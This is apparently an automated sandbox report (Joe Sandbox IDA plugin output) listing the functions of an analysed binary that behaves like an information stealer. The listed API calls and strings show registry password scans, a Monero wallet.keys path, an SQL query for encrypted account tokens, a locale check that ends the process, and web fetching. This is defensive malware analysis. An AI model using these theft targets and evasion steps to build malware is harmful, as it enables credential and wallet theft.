Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 360b408929b53ddea4c514fef5589f82133a11c326e85bba387d9d1558290bd1
Instruction ID: 22f7582b40c5d0bb88c830e46ad3aab15ece90f034c50021ca030bd7e04be81e
Opcode Fuzzy Hash: 360b408929b53ddea4c514fef5589f82133a11c326e85bba387d9d1558290bd1
Instruction Fuzzy Hash: 47516DB1A4020CABDB24DFA0DC49BEE7BB9FB44701F108498A645A71C1DB786A85CF95

Function 005F72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 005F733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005F73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 005F740D
GetProcessHeap.KERNEL32(00000000,?), ref: 005F7452
HeapFree.KERNEL32(00000000), ref: 005F7459
task.LIBCPMTD ref: 005F7555

Strings

Password, xrefs: 005F7401

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 8885ea2b2e4b3da49fb0ec112830b6945ce729fa69bad93ff1d8c9cad258edb4
Instruction ID: a83c4f3efa9ba1676a0d82b9466ab781ab48d76415609782a3b588b0910d0d68
Opcode Fuzzy Hash: 8885ea2b2e4b3da49fb0ec112830b6945ce729fa69bad93ff1d8c9cad258edb4
Instruction Fuzzy Hash: 10613CB590415D9BDB24DB50CC45FEABBB8BF48300F0085E9E689A6181DF745BC9CF90

Function 005FBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A920: lstrcpy.KERNEL32(00000000,?), ref: 0060A972
Part of subcall function 0060A920: lstrcat.KERNEL32(00000000), ref: 0060A982

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

Part of subcall function 0060A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0060A7E6

lstrlen.KERNEL32(00000000), ref: 005FBC9F

Part of subcall function 00608E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00608E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 005FBCCD
lstrlen.KERNEL32(00000000), ref: 005FBDA5
lstrlen.KERNEL32(00000000), ref: 005FBDB9

Strings

AccountTokens, xrefs: 005FBB49
AccountId, xrefs: 005FBCC4
SELECT service, encrypted_token FROM token_service, xrefs: 005FBBEB
AccountTokens, xrefs: 005FBABA

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 9b6c40f6b6f6abc634ac2be5d21fd83252abd8394083035d022e1d926b72d3e7
Instruction ID: 3ff4f86f99b6e6d09dc01411ed8cf5f072a6f603309a7d81ac25a8f8c6d09ff0
Opcode Fuzzy Hash: 9b6c40f6b6f6abc634ac2be5d21fd83252abd8394083035d022e1d926b72d3e7
Instruction Fuzzy Hash: 27B14C719502089BDB88EBE0CD96EEF733ABF54340F40456CF506A60D1EF346A49CBA6

Function 00606770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00606774
ExitProcess.KERNEL32 ref: 006067A5
ExitProcess.KERNEL32 ref: 006067AF
ExitProcess.KERNEL32 ref: 006067B9
ExitProcess.KERNEL32 ref: 006067C3
ExitProcess.KERNEL32 ref: 006067CD

Strings

*, xrefs: 0060678C

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 848fb2fac9eb9209b0aecf141d695ba695f80152009aafae3368f88c2f5f3c27
Instruction ID: eb0f604c4bbadf939b582e1dceea921fb01f1e2a05d6c8701988b396840fce2e
Opcode Fuzzy Hash: 848fb2fac9eb9209b0aecf141d695ba695f80152009aafae3368f88c2f5f3c27
Instruction Fuzzy Hash: BBF0583098820DEFD348AFE0E949B6DBB70FB44703F040598F68986390EA704B519B96

Function 005F4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 005F4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 005F4FD1
InternetOpenA.WININET(00610DDF,00000000,00000000,00000000,00000000), ref: 005F4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 005F5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 005F5041
InternetCloseHandle.WININET(?), ref: 005F50B9
InternetCloseHandle.WININET(?), ref: 005F50C6

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 2faf3933eaaaf4e00fc1101e77a93990d480231c9eabcce2cbbb9f397aaf9c1a
Instruction ID: 8de311c277e8cc6680f2e5113f8e65968a882e3c853bde2d98b2cb6da19f2b03
Opcode Fuzzy Hash: 2faf3933eaaaf4e00fc1101e77a93990d480231c9eabcce2cbbb9f397aaf9c1a
Instruction Fuzzy Hash: 133108B4A4021CABDB24CF54DC89BDDB7B4FB48704F1085D8EB09A7281DB746AC58F99

Function 00608100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0140DAD0,00000000,?,00610E2C,00000000,?,00000000), ref: 00608130
RtlAllocateHeap.NTDLL(00000000), ref: 00608137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00608158
wsprintfA.USER32 ref: 006081AC

Strings

@, xrefs: 0060814D
%d MB, xrefs: 006081A3

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: 10467b20a0b2c33087e30529e7ed164e7ef85de750abd5bb5761eb1ace71e799
Instruction ID: 3dc7a1d52430364ef75a221077ceba1e4c64e71edb192f0e0659d6a28901b2a4
Opcode Fuzzy Hash: 10467b20a0b2c33087e30529e7ed164e7ef85de750abd5bb5761eb1ace71e799
Instruction Fuzzy Hash: 9D2129B1A44208ABDB04DFD4DC49FAFBBB9FB44B10F104619F605BB2C0D77859018BA5

Function 006083DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00608426
wsprintfA.USER32 ref: 00608459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0060847B
RegCloseKey.ADVAPI32(00000000), ref: 0060848C
RegCloseKey.ADVAPI32(00000000), ref: 00608499

Part of subcall function 0060A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0060A7E6

RegQueryValueExA.ADVAPI32(00000000,0140D800,00000000,000F003F,?,00000400), ref: 006084EC
lstrlen.KERNEL32(?), ref: 00608501
RegQueryValueExA.ADVAPI32(00000000,0140D950,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00610B34), ref: 00608599
RegCloseKey.ADVAPI32(00000000), ref: 00608608
RegCloseKey.ADVAPI32(00000000), ref: 0060861A

Strings

%s\%s, xrefs: 0060844D

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 69bb6c04da47586ac539bd00a22a1a2df19d376f837f64d135fa03b4df03a6a7
Instruction ID: 5317406ae6352b1a0d4f67dd7e808374d4cd7548fb7e05abed18857819cffa97
Opcode Fuzzy Hash: 69bb6c04da47586ac539bd00a22a1a2df19d376f837f64d135fa03b4df03a6a7
Instruction Fuzzy Hash: 0F21E77195021CAFDB68DB54DC85FE9B3B9FB88700F00C598A649A6280DF71AA85CFD4

Function 00607690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006076A4
RtlAllocateHeap.NTDLL(00000000), ref: 006076AB
RegOpenKeyExA.ADVAPI32(80000002,013FBC78,00000000,00020119,00000000), ref: 006076DD
RegQueryValueExA.ADVAPI32(00000000,0140D908,00000000,00000000,?,000000FF), ref: 006076FE
RegCloseKey.ADVAPI32(00000000), ref: 00607708

Strings

Windows 11, xrefs: 006076BD

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: d093da2e47cea691d07b6d84c3dfc946049992b483c1a56ca6a97eada2b772eb
Instruction ID: 0bb14f96b8b8b0be10205770137f0f01c4469ee83b6c18882e8f0108ff3352ca
Opcode Fuzzy Hash: d093da2e47cea691d07b6d84c3dfc946049992b483c1a56ca6a97eada2b772eb
Instruction Fuzzy Hash: 2F0162B5A44208BBEB08DBE4DC49FAEB7B9FB88701F104858FA45E72D0D671A9448B51

Function 00607720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00607734
RtlAllocateHeap.NTDLL(00000000), ref: 0060773B
RegOpenKeyExA.ADVAPI32(80000002,013FBC78,00000000,00020119,006076B9), ref: 0060775B
RegQueryValueExA.ADVAPI32(006076B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0060777A
RegCloseKey.ADVAPI32(006076B9), ref: 00607784

Strings

CurrentBuildNumber, xrefs: 00607771

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 7beae9533d637f7e05a1b5f3afc29886a3f27b4268399a6163e6b9944ceb86a5
Instruction ID: 86d78e08d9eddfef7f5f967f9678d61c3d31ff1eb0fc7eebfda353d1115d4ecd
Opcode Fuzzy Hash: 7beae9533d637f7e05a1b5f3afc29886a3f27b4268399a6163e6b9944ceb86a5
Instruction Fuzzy Hash: 860167B5A40308BFDB04DBE4DC49FAEB7B8FB84701F104558FA45A7281D67155408B51

Function 006092E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:`,80000000,00000003,00000000,00000003,00000080,00000000,?,00603AEE,?), ref: 006092FC
GetFileSizeEx.KERNEL32(000000FF,:`), ref: 00609319
CloseHandle.KERNEL32(000000FF), ref: 00609327

Strings

:`, xrefs: 006092F8, 006092FB
:`, xrefs: 00609311, 0060933D, 00609314

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :`$:`
API String ID: 1378416451-1343392035
Opcode ID: ad4cc6382fa00d942fcb8a4127746300fb01bc647cfc3789ec4b45abdb1a34c2
Instruction ID: 9a146c213ffcff6b62673e82a323d263e6b1c401b02c7173ece62889a9680215
Opcode Fuzzy Hash: ad4cc6382fa00d942fcb8a4127746300fb01bc647cfc3789ec4b45abdb1a34c2
Instruction Fuzzy Hash: 9AF04F35E44208BBDB18DFB0DC49F9E77FABB88710F10C654B691A72C0D671A6018F50

Function 005F99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005F99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 005F9A11
LocalAlloc.KERNEL32(00000040,?), ref: 005F9A31
ReadFile.KERNEL32(000000FF,?,00000000,005F148F,00000000), ref: 005F9A5A
LocalFree.KERNEL32(005F148F), ref: 005F9A90
CloseHandle.KERNEL32(000000FF), ref: 005F9A9A

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
